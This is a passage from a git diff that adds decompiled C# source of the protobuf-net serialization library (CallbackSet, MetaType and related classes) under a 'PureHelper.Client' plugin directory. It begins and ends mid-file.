+ } + if (values.Length < keys.Length) + { + throw new ArgumentException("Not all keys are covered by values", "values"); + } + BasicList basicList = new BasicList(); + Group obj = null; + for (int i = 0; i < keys.Length; i++) + { + if (i == 0 || keys[i] != keys[i - 1]) + { + obj = null; + } + if (obj == null) + { + obj = new Group(keys[i]); + basicList.Add(obj); + } + obj.Items.Add(values[i]); + } + return basicList; + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/CallbackSet.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/CallbackSet.cs new file mode 100644 index 0000000..b8d5b3a --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/CallbackSet.cs @@ -0,0 +1,129 @@ +using System; +using System.Reflection; +using System.Runtime.Serialization; + +namespace ProtoBuf.Meta; + +public class CallbackSet +{ + private readonly MetaType metaType; + + private MethodInfo beforeSerialize; + + private MethodInfo afterSerialize; + + private MethodInfo beforeDeserialize; + + private MethodInfo afterDeserialize; + + internal MethodInfo this[TypeModel.CallbackType callbackType] => callbackType switch + { + TypeModel.CallbackType.BeforeSerialize => beforeSerialize, + TypeModel.CallbackType.AfterSerialize => afterSerialize, + TypeModel.CallbackType.BeforeDeserialize => beforeDeserialize, + TypeModel.CallbackType.AfterDeserialize => afterDeserialize, + _ => throw new ArgumentException("Callback type not supported: " + callbackType, "callbackType"), + }; + + public MethodInfo BeforeSerialize + { + get + { + return beforeSerialize; + } + set + { + beforeSerialize = SanityCheckCallback(metaType.Model, value); + } + } + + public MethodInfo BeforeDeserialize + { + get + { + return beforeDeserialize; + } + set + { + beforeDeserialize = SanityCheckCallback(metaType.Model, value); + } + } + + public MethodInfo AfterSerialize + { + get + { + return afterSerialize; + } + set + { + afterSerialize = SanityCheckCallback(metaType.Model, value); + } + } + + public MethodInfo AfterDeserialize + { + get + { + return afterDeserialize; + } + set + { + afterDeserialize = SanityCheckCallback(metaType.Model, value); + } + } + + public bool NonTrivial + { + get + { + if ((object)beforeSerialize == null && (object)beforeDeserialize == null && (object)afterSerialize == null) + { + return (object)afterDeserialize != null; + } + return true; + } + } + + internal CallbackSet(MetaType metaType) + { + this.metaType = metaType ?? throw new ArgumentNullException("metaType"); + } + + internal static bool CheckCallbackParameters(TypeModel model, MethodInfo method) + { + ParameterInfo[] parameters = method.GetParameters(); + for (int i = 0; i < parameters.Length; i++) + { + Type parameterType = parameters[i].ParameterType; + if ((object)parameterType != model.MapType(typeof(SerializationContext)) && (object)parameterType != model.MapType(typeof(Type)) && (object)parameterType != model.MapType(typeof(StreamingContext))) + { + return false; + } + } + return true; + } + + private MethodInfo SanityCheckCallback(TypeModel model, MethodInfo callback) + { + metaType.ThrowIfFrozen(); + if ((object)callback == null) + { + return callback; + } + if (callback.IsStatic) + { + throw new ArgumentException("Callbacks cannot be static", "callback"); + } + if ((object)callback.ReturnType != model.MapType(typeof(void)) || !CheckCallbackParameters(model, callback)) + { + throw CreateInvalidCallbackSignature(callback); + } + return callback; + } + + internal static Exception CreateInvalidCallbackSignature(MethodInfo method) + { + return new NotSupportedException("Invalid callback signature in " + method.DeclaringType.FullName + "." + method.Name); + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/LockContentedEventArgs.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/LockContentedEventArgs.cs new file mode 100644 index 0000000..53e6623 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/LockContentedEventArgs.cs @@ -0,0 +1,15 @@ +using System; + +namespace ProtoBuf.Meta; + +public sealed class LockContentedEventArgs : EventArgs +{ + private readonly string ownerStackTrace; + + public string OwnerStackTrace => ownerStackTrace; + + internal LockContentedEventArgs(string ownerStackTrace) + { + this.ownerStackTrace = ownerStackTrace; + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/LockContentedEventHandler.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/LockContentedEventHandler.cs new file mode 100644 index 0000000..33c1190 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/LockContentedEventHandler.cs @@ -0,0 +1,3 @@ +namespace ProtoBuf.Meta; + +public delegate void LockContentedEventHandler(object sender, LockContentedEventArgs args); diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/MetaType.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/MetaType.cs new file mode 100644 index 0000000..f5215f6 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/MetaType.cs @@ -0,0 +1,2253 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.ComponentModel; +using System.Reflection; +using System.Text; +using ProtoBuf.Serializers; + +namespace ProtoBuf.Meta; + +public class MetaType : ISerializerProxy +{ + internal sealed class Comparer : IComparer, IComparer + { + public static readonly Comparer Default = new Comparer(); + + public int Compare(object x, object y) + { + return Compare(x as MetaType, y as MetaType); + } + + public int Compare(MetaType x, MetaType y) + { + if (x == y) + { + return 0; + } + if (x == null) + { + return -1; + } + if (y == null) + { + return 1; + } + return string.Compare(x.GetSchemaTypeName(), y.GetSchemaTypeName(), StringComparison.Ordinal); + } + } + + [Flags] + internal enum AttributeFamily + { + None = 0, + ProtoBuf = 1, + DataContractSerialier = 2, + XmlSerializer = 4, + AutoTuple = 8 + } + + private MetaType baseType; + + private BasicList subTypes; + + internal static readonly Type ienumerable = typeof(IEnumerable); + + private CallbackSet callbacks; + + private string name; + + private MethodInfo factory; + + private readonly RuntimeTypeModel model; + + private readonly Type type; + + private IProtoTypeSerializer serializer; + + private Type constructType; + + private Type surrogate; + + private readonly BasicList fields = new BasicList(); + + private const ushort OPTIONS_Pending = 1; + + private const ushort OPTIONS_EnumPassThru = 2; + + private const ushort OPTIONS_Frozen = 4; + + private const ushort OPTIONS_PrivateOnApi = 8; + + private const ushort OPTIONS_SkipConstructor = 16; + + private const ushort OPTIONS_AsReferenceDefault = 32; + + private const ushort OPTIONS_AutoTuple = 64; + + private const ushort OPTIONS_IgnoreListHandling = 128; + + private const ushort OPTIONS_IsGroup = 256; + + private volatile ushort flags; + + IProtoSerializer ISerializerProxy.Serializer => Serializer; + + public MetaType BaseType => baseType; + + internal TypeModel Model => model; + + public bool IncludeSerializerMethod + { + get + { + return !HasFlag(8); + } + set + { + SetFlag(8, !value, throwIfFrozen: true); + } + } + + public bool AsReferenceDefault + { + get + { + return HasFlag(32); + } + set + { + SetFlag(32, value, throwIfFrozen: true); + } + } + + public bool HasCallbacks + { + get + { + if (callbacks != null) + { + return callbacks.NonTrivial; + } + return false; + } + } + + public bool HasSubtypes + { + get + { + if (subTypes != null) + { + return subTypes.Count != 0; + } + return false; + } + } + + public CallbackSet Callbacks + { + get + { + if (callbacks == null) + { + callbacks = new CallbackSet(this); + } + return callbacks; + } + } + + private bool IsValueType => type.IsValueType; + + public string Name + { + get + { + return name; + } + set + { + ThrowIfFrozen(); + name = value; + } + } + + public Type Type => type; + + internal IProtoTypeSerializer Serializer + { + get + { + if (serializer == null) + { + int opaqueToken = 0; + try + { + model.TakeLock(ref opaqueToken); + if (serializer == null) + { + SetFlag(4, value: true, throwIfFrozen: false); + serializer = BuildSerializer(); + if (model.AutoCompile) + { + CompileInPlace(); + } + } + } + finally + { + model.ReleaseLock(opaqueToken); + } + } + return serializer; + } + } + + internal bool IsList + { + get + { + Type type = (IgnoreListHandling ? null : TypeModel.GetListItemType(model, this.type)); + return (object)type != null; + } + } + + public bool UseConstructor + { + get + { + return !HasFlag(16); + } + set + { + SetFlag(16, !value, throwIfFrozen: true); + } + } + + public Type ConstructType + { + get + { + return constructType; + } + set + { + ThrowIfFrozen(); + constructType = value; + } + } + + public ValueMember this[int fieldNumber] + { + get + { + BasicList.NodeEnumerator enumerator = fields.GetEnumerator(); + while (enumerator.MoveNext()) + { + ValueMember valueMember = (ValueMember)enumerator.Current; + if (valueMember.FieldNumber == fieldNumber) + { + return valueMember; + } + } + return null; + } + } + + public ValueMember this[MemberInfo member] + { + get + { + if ((object)member == null) + { + return null; + } + BasicList.NodeEnumerator enumerator = fields.GetEnumerator(); + while (enumerator.MoveNext()) + { + ValueMember valueMember = (ValueMember)enumerator.Current; + if ((object)valueMember.Member == member || (object)valueMember.BackingMember == member) + { + return valueMember; + } + } + return null; + } + } + + public bool EnumPassthru + { + get + { + return HasFlag(2); + } + set + { + SetFlag(2, value, throwIfFrozen: true); + } + } + + public bool IgnoreListHandling + { + get + { + return HasFlag(128); + } + set + { + SetFlag(128, value, throwIfFrozen: true); + } + } + + internal bool Pending + { + get + { + return HasFlag(1); + } + set + { + SetFlag(1, value, throwIfFrozen: false); + } + } + + internal IEnumerable Fields => fields; + + internal bool IsAutoTuple => HasFlag(64); + + public bool IsGroup + { + get + { + return HasFlag(256); + } + set + { + SetFlag(256, value, throwIfFrozen: true); + } + } + + public override string ToString() + { + return type.ToString(); + } + + private bool IsValidSubType(Type subType) + { + return type.IsAssignableFrom(subType); + } + + public MetaType AddSubType(int fieldNumber, Type derivedType) + { + return AddSubType(fieldNumber, derivedType, DataFormat.Default); + } + + public MetaType AddSubType(int fieldNumber, Type derivedType, DataFormat dataFormat) + { + if ((object)derivedType == null) + { + throw new ArgumentNullException("derivedType"); + } + if (fieldNumber < 1) + { + throw new ArgumentOutOfRangeException("fieldNumber"); + } + if ((!type.IsClass && !type.IsInterface) || type.IsSealed) + { + throw new InvalidOperationException("Sub-types can only be added to non-sealed classes"); + } + if (!IsValidSubType(derivedType)) + { + throw new ArgumentException(derivedType.Name + " is not a valid sub-type of " + type.Name, "derivedType"); + } + MetaType metaType = model[derivedType]; + ThrowIfFrozen(); + metaType.ThrowIfFrozen(); + SubType value = new SubType(fieldNumber, metaType, dataFormat); + ThrowIfFrozen(); + metaType.SetBaseType(this); + if (subTypes == null) + { + subTypes = new BasicList(); + } + subTypes.Add(value); + model.ResetKeyCache(); + return this; + } + + private void SetBaseType(MetaType baseType) + { + if (baseType == null) + { + throw new ArgumentNullException("baseType"); + } + if (this.baseType == baseType) + { + return; + } + if (this.baseType != null) + { + throw new InvalidOperationException("Type '" + this.baseType.Type.FullName + "' can only participate in one inheritance hierarchy"); + } + for (MetaType metaType = baseType; metaType != null; metaType = metaType.baseType) + { + if (metaType == this) + { + throw new InvalidOperationException("Cyclic inheritance of '" + this.baseType.Type.FullName + "' is not allowed"); + } + } + this.baseType = baseType; + } + + public MetaType SetCallbacks(MethodInfo beforeSerialize, MethodInfo afterSerialize, MethodInfo beforeDeserialize, MethodInfo afterDeserialize) + { + CallbackSet callbackSet = Callbacks; + callbackSet.BeforeSerialize = beforeSerialize; + callbackSet.AfterSerialize = afterSerialize; + callbackSet.BeforeDeserialize = beforeDeserialize; + callbackSet.AfterDeserialize = afterDeserialize; + return this; + } + + public MetaType SetCallbacks(string beforeSerialize, string afterSerialize, string beforeDeserialize, string afterDeserialize) + { + if (IsValueType) + { + throw new InvalidOperationException(); + } + CallbackSet callbackSet = Callbacks; + callbackSet.BeforeSerialize = ResolveMethod(beforeSerialize, instance: true); + callbackSet.AfterSerialize = ResolveMethod(afterSerialize, instance: true); + callbackSet.BeforeDeserialize = ResolveMethod(beforeDeserialize, instance: true); + callbackSet.AfterDeserialize = ResolveMethod(afterDeserialize, instance: true); + return this; + } + + public string GetSchemaTypeName() + { + if ((object)surrogate != null) + { + return model[surrogate].GetSchemaTypeName(); + } + if (!string.IsNullOrEmpty(name)) + { + return name; + } + string text = this.type.Name; + if (this.type.IsGenericType) + { + StringBuilder stringBuilder = new StringBuilder(text); + int num = text.IndexOf('`'); + if (num >= 0) + { + stringBuilder.Length = num; + } + Type[] genericArguments = this.type.GetGenericArguments(); + foreach (Type type in genericArguments) + { + stringBuilder.Append('_'); + Type type2 = type; + int key = model.GetKey(ref type2); + MetaType metaType; + if (key >= 0 && (metaType = model[type2]) != null && (object)metaType.surrogate == null) + { + stringBuilder.Append(metaType.GetSchemaTypeName()); + } + else + { + stringBuilder.Append(type2.Name); + } + } + return stringBuilder.ToString(); + } + return text; + } + + public MetaType SetFactory(MethodInfo factory) + { + model.VerifyFactory(factory, type); + ThrowIfFrozen(); + this.factory = factory; + return this; + } + + public MetaType SetFactory(string factory) + { + return SetFactory(ResolveMethod(factory, instance: false)); + } + + private MethodInfo ResolveMethod(string name, bool instance) + { + if (string.IsNullOrEmpty(name)) + { + return null; + } + if (!instance) + { + return Helpers.GetStaticMethod(type, name); + } + return Helpers.GetInstanceMethod(type, name); + } + + internal static Exception InbuiltType(Type type) + { + return new ArgumentException("Data of this type has inbuilt behaviour, and cannot be added to a model in this way: " + type.FullName); + } + + internal MetaType(RuntimeTypeModel model, Type type, MethodInfo factory) + { + this.factory = factory; + if (model == null) + { + throw new ArgumentNullException("model"); + } + if ((object)type == null) + { + throw new ArgumentNullException("type"); + } + if (type.IsArray) + { + throw InbuiltType(type); + } + IProtoSerializer protoSerializer = model.TryGetBasicTypeSerializer(type); + if (protoSerializer != null) + { + throw InbuiltType(type); + } + this.type = type; + this.model = model; + if (Helpers.IsEnum(type)) + { + EnumPassthru = type.IsDefined(model.MapType(typeof(FlagsAttribute)), inherit: false); + } + } + + protected internal void ThrowIfFrozen() + { + if ((flags & 4) != 0) + { + throw new InvalidOperationException("The type cannot be changed once a serializer has been generated for " + type.FullName); + } + } + + private IProtoTypeSerializer BuildSerializer() + { + if (Helpers.IsEnum(type)) + { + return new TagDecorator(1, WireType.Variant, strict: false, new EnumSerializer(type, GetEnumMap())); + } + Type itemType = (IgnoreListHandling ? null : TypeModel.GetListItemType(model, type)); + if ((object)itemType != null) + { + if ((object)surrogate != null) + { + throw new ArgumentException("Repeated data (a list, collection, etc) has inbuilt behaviour and cannot use a surrogate"); + } + if (subTypes != null && subTypes.Count != 0) + { + throw new ArgumentException("Repeated data (a list, collection, etc) has inbuilt behaviour and cannot be subclassed"); + } + Type defaultType = null; + ResolveListTypes(model, type, ref itemType, ref defaultType); + ValueMember valueMember = new ValueMember(model, 1, type, itemType, defaultType, DataFormat.Default); + return new TypeSerializer(model, type, new int[1] { 1 }, new IProtoSerializer[1] { valueMember.Serializer }, null, isRootType: true, useConstructor: true, null, constructType, factory); + } + if ((object)surrogate != null) + { + MetaType metaType = model[surrogate]; + MetaType metaType2; + while ((metaType2 = metaType.baseType) != null) + { + metaType = metaType2; + } + return new SurrogateSerializer(model, type, surrogate, metaType.Serializer); + } + if (IsAutoTuple) + { + MemberInfo[] mappedMembers; + ConstructorInfo constructorInfo = ResolveTupleConstructor(type, out mappedMembers); + if ((object)constructorInfo == null) + { + throw new InvalidOperationException(); + } + return new TupleSerializer(model, constructorInfo, mappedMembers); + } + fields.Trim(); + int count = fields.Count; + int num = ((subTypes != null) ? subTypes.Count : 0); + int[] array = new int[count + num]; + IProtoSerializer[] array2 = new IProtoSerializer[count + num]; + int num2 = 0; + if (num != 0) + { + BasicList.NodeEnumerator enumerator = subTypes.GetEnumerator(); + while (enumerator.MoveNext()) + { + SubType subType = (SubType)enumerator.Current; + if (!subType.DerivedType.IgnoreListHandling && model.MapType(ienumerable).IsAssignableFrom(subType.DerivedType.Type)) + { + throw new ArgumentException("Repeated data (a list, collection, etc) has inbuilt behaviour and cannot be used as a subclass"); + } + array[num2] = subType.FieldNumber; + array2[num2++] = subType.Serializer; + } + } + if (count != 0) + { + BasicList.NodeEnumerator enumerator2 = fields.GetEnumerator(); + while (enumerator2.MoveNext()) + { + ValueMember valueMember2 = (ValueMember)enumerator2.Current; + array[num2] = valueMember2.FieldNumber; + array2[num2++] = valueMember2.Serializer; + } + } + BasicList basicList = null; + for (MetaType metaType3 = BaseType; metaType3 != null; metaType3 = metaType3.BaseType) + { + MethodInfo methodInfo = (metaType3.HasCallbacks ? metaType3.Callbacks.BeforeDeserialize : null); + if ((object)methodInfo != null) + { + if (basicList == null) + { + basicList = new BasicList(); + } + basicList.Add(methodInfo); + } + } + MethodInfo[] array3 = null; + if (basicList != null) + { + array3 = new MethodInfo[basicList.Count]; + basicList.CopyTo(array3, 0); + Array.Reverse((Array)array3); + } + return new TypeSerializer(model, type, array, array2, array3, baseType == null, UseConstructor, callbacks, constructType, factory); + } + + private static Type GetBaseType(MetaType type) + { + return type.type.BaseType; + } + + internal static bool GetAsReferenceDefault(RuntimeTypeModel model, Type type) + { + if ((object)type == null) + { + throw new ArgumentNullException("type"); + } + if (Helpers.IsEnum(type)) + { + return false; + } + AttributeMap[] array = AttributeMap.Create(model, type, inherit: false); + for (int i = 0; i < array.Length; i++) + { + if (array[i].AttributeType.FullName == "ProtoBuf.ProtoContractAttribute" && array[i].TryGet("AsReferenceDefault", out var value)) + { + return (bool)value; + } + } + return false; + } + + internal void ApplyDefaultBehaviour() + { + TypeAddedEventArgs args = null; + RuntimeTypeModel.OnBeforeApplyDefaultBehaviour(this, ref args); + if (args == null || args.ApplyDefaultBehaviour) + { + ApplyDefaultBehaviourImpl(); + } + RuntimeTypeModel.OnAfterApplyDefaultBehaviour(this, ref args); + } + + internal void ApplyDefaultBehaviourImpl() + { + Type type = GetBaseType(this); + if ((object)type != null && model.FindWithoutAdd(type) == null && GetContractFamily(model, type, null) != AttributeFamily.None) + { + model.FindOrAddAuto(type, demand: true, addWithContractOnly: false, addEvenIfAutoDisabled: false); + } + AttributeMap[] array = AttributeMap.Create(model, this.type, inherit: false); + AttributeFamily attributeFamily = GetContractFamily(model, this.type, array); + if (attributeFamily == AttributeFamily.AutoTuple) + { + SetFlag(64, value: true, throwIfFrozen: true); + } + bool flag = !EnumPassthru && Helpers.IsEnum(this.type); + if (attributeFamily == AttributeFamily.None && !flag) + { + return; + } + bool flag2 = flag; + BasicList basicList = null; + BasicList basicList2 = null; + int dataMemberOffset = 0; + int num = 1; + bool flag3 = model.InferTagFromNameDefault; + ImplicitFields implicitFields = ImplicitFields.None; + string text = null; + foreach (AttributeMap attributeMap in array) + { + string fullName = attributeMap.AttributeType.FullName; + object value; + if (!flag && fullName == "ProtoBuf.ProtoIncludeAttribute") + { + int fieldNumber = 0; + if (attributeMap.TryGet("tag", out value)) + { + fieldNumber = (int)value; + } + DataFormat dataFormat = DataFormat.Default; + if (attributeMap.TryGet("DataFormat", out value)) + { + dataFormat = (DataFormat)(int)value; + } + Type type2 = null; + try + { + if (attributeMap.TryGet("knownTypeName", out value)) + { + type2 = model.GetType((string)value, this.type.Assembly); + } + else if (attributeMap.TryGet("knownType", out value)) + { + type2 = (Type)value; + } + } + catch (Exception innerException) + { + throw new InvalidOperationException("Unable to resolve sub-type of: " + this.type.FullName, innerException); + } + if ((object)type2 == null) + { + throw new InvalidOperationException("Unable to resolve sub-type of: " + this.type.FullName); + } + if (IsValidSubType(type2)) + { + AddSubType(fieldNumber, type2, dataFormat); + } + } + if (fullName == "ProtoBuf.ProtoPartialIgnoreAttribute" && attributeMap.TryGet("MemberName", out value) && value != null) + { + if (basicList == null) + { + basicList = new BasicList(); + } + basicList.Add((string)value); + } + if (!flag && fullName == "ProtoBuf.ProtoPartialMemberAttribute") + { + if (basicList2 == null) + { + basicList2 = new BasicList(); + } + basicList2.Add(attributeMap); + } + if (fullName == "ProtoBuf.ProtoContractAttribute") + { + if (attributeMap.TryGet("Name", out value)) + { + text = (string)value; + } + if (Helpers.IsEnum(this.type)) + { + if (attributeMap.TryGet("EnumPassthruHasValue", publicOnly: false, out value) && (bool)value && attributeMap.TryGet("EnumPassthru", out value)) + { + EnumPassthru = (bool)value; + flag2 = false; + if (EnumPassthru) + { + flag = false; + } + } + } + else + { + if (attributeMap.TryGet("DataMemberOffset", out value)) + { + dataMemberOffset = (int)value; + } + if (attributeMap.TryGet("InferTagFromNameHasValue", publicOnly: false, out value) && (bool)value && attributeMap.TryGet("InferTagFromName", out value)) + { + flag3 = (bool)value; + } + if (attributeMap.TryGet("ImplicitFields", out value) && value != null) + { + implicitFields = (ImplicitFields)(int)value; + } + if (attributeMap.TryGet("SkipConstructor", out value)) + { + UseConstructor = !(bool)value; + } + if (attributeMap.TryGet("IgnoreListHandling", out value)) + { + IgnoreListHandling = (bool)value; + } + if (attributeMap.TryGet("AsReferenceDefault", out value)) + { + AsReferenceDefault = (bool)value; + } + if (attributeMap.TryGet("ImplicitFirstTag", out value) && (int)value > 0) + { + num = (int)value; + } + if (attributeMap.TryGet("IsGroup", out value)) + { + IsGroup = (bool)value; + } + if (attributeMap.TryGet("Surrogate", out value)) + { + SetSurrogate((Type)value); + } + } + } + if (fullName == "System.Runtime.Serialization.DataContractAttribute" && text == null && attributeMap.TryGet("Name", out value)) + { + text = (string)value; + } + if (fullName == "System.Xml.Serialization.XmlTypeAttribute" && text == null && attributeMap.TryGet("TypeName", out value)) + { + text = (string)value; + } + } + if (!string.IsNullOrEmpty(text)) + { + Name = text; + } + if (implicitFields != ImplicitFields.None) + { + attributeFamily &= AttributeFamily.ProtoBuf; + } + MethodInfo[] array2 = null; + BasicList basicList3 = new BasicList(); + MemberInfo[] members = this.type.GetMembers(flag ? (BindingFlags.Static | BindingFlags.Public) : (BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic)); + bool hasConflictingEnumValue = false; + MemberInfo[] array3 = members; + foreach (MemberInfo memberInfo in array3) + { + if ((object)memberInfo.DeclaringType != this.type || memberInfo.IsDefined(model.MapType(typeof(ProtoIgnoreAttribute)), inherit: true) || (basicList != null && basicList.Contains(memberInfo.Name))) + { + continue; + } + bool forced = false; + if (memberInfo is PropertyInfo propertyInfo) + { + if (flag) + { + continue; + } + MemberInfo backingMember = null; + if (!propertyInfo.CanWrite) + { + string text2 = "<" + propertyInfo.Name + ">k__BackingField"; + MemberInfo[] array4 = members; + foreach (MemberInfo memberInfo2 in array4) + { + if (memberInfo2 is FieldInfo && memberInfo2.Name == text2) + { + backingMember = memberInfo2; + break; + } + } + } + Type effectiveType = propertyInfo.PropertyType; + bool isPublic = (object)Helpers.GetGetMethod(propertyInfo, nonPublic: false, allowInternal: false) != null; + bool isField = false; + ApplyDefaultBehaviour_AddMembers(model, attributeFamily, flag, basicList2, dataMemberOffset, flag3, implicitFields, basicList3, memberInfo, ref forced, isPublic, isField, ref effectiveType, ref hasConflictingEnumValue, backingMember); + } + else if (memberInfo is FieldInfo fieldInfo) + { + Type effectiveType = fieldInfo.FieldType; + bool isPublic = fieldInfo.IsPublic; + bool isField = true; + if (!flag || fieldInfo.IsStatic) + { + ApplyDefaultBehaviour_AddMembers(model, attributeFamily, flag, basicList2, dataMemberOffset, flag3, implicitFields, basicList3, memberInfo, ref forced, isPublic, isField, ref effectiveType, ref hasConflictingEnumValue); + } + } + else if (memberInfo is MethodInfo methodInfo && !flag) + { + AttributeMap[] array5 = AttributeMap.Create(model, methodInfo, inherit: false); + if (array5 != null && array5.Length != 0) + { + CheckForCallback(methodInfo, array5, "ProtoBuf.ProtoBeforeSerializationAttribute", ref array2, 0); + CheckForCallback(methodInfo, array5, "ProtoBuf.ProtoAfterSerializationAttribute", ref array2, 1); + CheckForCallback(methodInfo, array5, "ProtoBuf.ProtoBeforeDeserializationAttribute", ref array2, 2); + CheckForCallback(methodInfo, array5, "ProtoBuf.ProtoAfterDeserializationAttribute", ref array2, 3); + CheckForCallback(methodInfo, array5, "System.Runtime.Serialization.OnSerializingAttribute", ref array2, 4); + CheckForCallback(methodInfo, array5, "System.Runtime.Serialization.OnSerializedAttribute", ref array2, 5); + CheckForCallback(methodInfo, array5, "System.Runtime.Serialization.OnDeserializingAttribute", ref array2, 6); + CheckForCallback(methodInfo, array5, "System.Runtime.Serialization.OnDeserializedAttribute", ref array2, 7); + } + } + } + if (flag && flag2 && !hasConflictingEnumValue) + { + EnumPassthru = true; + } + ProtoMemberAttribute[] array6 = new ProtoMemberAttribute[basicList3.Count]; + basicList3.CopyTo(array6, 0); + if (flag3 || implicitFields != ImplicitFields.None) + { + Array.Sort(array6); + int num2 = num; + ProtoMemberAttribute[] array7 = array6; + foreach (ProtoMemberAttribute protoMemberAttribute in array7) + { + if (!protoMemberAttribute.TagIsPinned) + { + protoMemberAttribute.Rebase(num2++); + } + } + } + ProtoMemberAttribute[] array8 = array6; + foreach (ProtoMemberAttribute normalizedAttribute in array8) + { + ValueMember valueMember = ApplyDefaultBehaviour(flag, normalizedAttribute); + if (valueMember != null) + { + Add(valueMember); + } + } + if (array2 != null) + { + SetCallbacks(Coalesce(array2, 0, 4), Coalesce(array2, 1, 5), Coalesce(array2, 2, 6), Coalesce(array2, 3, 7)); + } + } + + private static void ApplyDefaultBehaviour_AddMembers(TypeModel model, AttributeFamily family, bool isEnum, BasicList partialMembers, int dataMemberOffset, bool inferTagByName, ImplicitFields implicitMode, BasicList members, MemberInfo member, ref bool forced, bool isPublic, bool isField, ref Type effectiveType, ref bool hasConflictingEnumValue, MemberInfo backingMember = null) + { + switch (implicitMode) + { + case ImplicitFields.AllFields: + if (isField) + { + forced = true; + } + break; + case ImplicitFields.AllPublic: + if (isPublic) + { + forced = true; + } + break; + } + if (effectiveType.IsSubclassOf(model.MapType(typeof(Delegate)))) + { + effectiveType = null; + } + if ((object)effectiveType != null) + { + ProtoMemberAttribute protoMemberAttribute = NormalizeProtoMember(model, member, family, forced, isEnum, partialMembers, dataMemberOffset, inferTagByName, ref hasConflictingEnumValue, backingMember); + if (protoMemberAttribute != null) + { + members.Add(protoMemberAttribute); + } + } + } + + private static MethodInfo Coalesce(MethodInfo[] arr, int x, int y) + { + MethodInfo methodInfo = arr[x]; + if ((object)methodInfo == null) + { + methodInfo = arr[y]; + } + return methodInfo; + } + + internal static AttributeFamily GetContractFamily(RuntimeTypeModel model, Type type, AttributeMap[] attributes) + { + AttributeFamily attributeFamily = AttributeFamily.None; + if (attributes == null) + { + attributes = AttributeMap.Create(model, type, inherit: false); + } + for (int i = 0; i < attributes.Length; i++) + { + switch (attributes[i].AttributeType.FullName) + { + case "ProtoBuf.ProtoContractAttribute": + { + bool value = false; + GetFieldBoolean(ref value, attributes[i], "UseProtoMembersOnly"); + if (value) + { + return AttributeFamily.ProtoBuf; + } + attributeFamily |= AttributeFamily.ProtoBuf; + break; + } + case "System.Xml.Serialization.XmlTypeAttribute": + if (!model.AutoAddProtoContractTypesOnly) + { + attributeFamily |= AttributeFamily.XmlSerializer; + } + break; + case "System.Runtime.Serialization.DataContractAttribute": + if (!model.AutoAddProtoContractTypesOnly) + { + attributeFamily |= AttributeFamily.DataContractSerialier; + } + break; + } + } + if (attributeFamily == AttributeFamily.None && (object)ResolveTupleConstructor(type, out var _) != null) + { + attributeFamily |= AttributeFamily.AutoTuple; + } + return attributeFamily; + } + + internal static ConstructorInfo ResolveTupleConstructor(Type type, out MemberInfo[] mappedMembers) + { + mappedMembers = null; + if ((object)type == null) + { + throw new ArgumentNullException("type"); + } + if (type.IsAbstract) + { + return null; + } + ConstructorInfo[] constructors = Helpers.GetConstructors(type, nonPublic: false); + if (constructors.Length == 0 || (constructors.Length == 1 && constructors[0].GetParameters().Length == 0)) + { + return null; + } + MemberInfo[] instanceFieldsAndProperties = Helpers.GetInstanceFieldsAndProperties(type, publicOnly: true); + BasicList basicList = new BasicList(); + bool flag = type.Name.IndexOf("Tuple", StringComparison.OrdinalIgnoreCase) < 0; + for (int i = 0; i < instanceFieldsAndProperties.Length; i++) + { + if (instanceFieldsAndProperties[i] is PropertyInfo propertyInfo) + { + if (!propertyInfo.CanRead) + { + return null; + } + if (flag && propertyInfo.CanWrite && (object)Helpers.GetSetMethod(propertyInfo, nonPublic: false, allowInternal: false) != null) + { + return null; + } + basicList.Add(propertyInfo); + } + else if (instanceFieldsAndProperties[i] is FieldInfo fieldInfo) + { + if (flag && !fieldInfo.IsInitOnly) + { + return null; + } + basicList.Add(fieldInfo); + } + } + if (basicList.Count == 0) + { + return null; + } + MemberInfo[] array = new MemberInfo[basicList.Count]; + basicList.CopyTo(array, 0); + int[] array2 = new int[array.Length]; + int num = 0; + ConstructorInfo result = null; + mappedMembers = new MemberInfo[array2.Length]; + for (int j = 0; j < constructors.Length; j++) + { + ParameterInfo[] parameters = constructors[j].GetParameters(); + if (parameters.Length != array.Length) + { + continue; + } + for (int k = 0; k < array2.Length; k++) + { + array2[k] = -1; + } + for (int l = 0; l < parameters.Length; l++) + { + for (int m = 0; m < array.Length; m++) + { + if (string.Compare(parameters[l].Name, array[m].Name, StringComparison.OrdinalIgnoreCase) == 0) + { + Type memberType = Helpers.GetMemberType(array[m]); + if ((object)memberType == parameters[l].ParameterType) + { + array2[l] = m; + } + } + } + } + bool flag2 = false; + for (int n = 0; n < array2.Length; n++) + { + if (array2[n] < 0) + { + flag2 = true; + break; + } + mappedMembers[n] = array[array2[n]]; + } + if (!flag2) + { + num++; + result = constructors[j]; + } + } + if (num != 1) + { + return null; + } + return result; + } + + private static void CheckForCallback(MethodInfo method, AttributeMap[] attributes, string callbackTypeName, ref MethodInfo[] callbacks, int index) + { + for (int i = 0; i < attributes.Length; i++) + { + if (attributes[i].AttributeType.FullName == callbackTypeName) + { + if (callbacks == null) + { + callbacks = new MethodInfo[8]; + } + else if ((object)callbacks[index] != null) + { + Type reflectedType = method.ReflectedType; + throw new ProtoException("Duplicate " + callbackTypeName + " callbacks on " + reflectedType.FullName); + } + callbacks[index] = method; + } + } + } + + private static bool HasFamily(AttributeFamily value, AttributeFamily required) + { + return (value & required) == required; + } + + private static ProtoMemberAttribute NormalizeProtoMember(TypeModel model, MemberInfo member, AttributeFamily family, bool forced, bool isEnum, BasicList partialMembers, int dataMemberOffset, bool inferByTagName, ref bool hasConflictingEnumValue, MemberInfo backingMember = null) + { + if ((object)member == null || (family == AttributeFamily.None && !isEnum)) + { + return null; + } + int value = 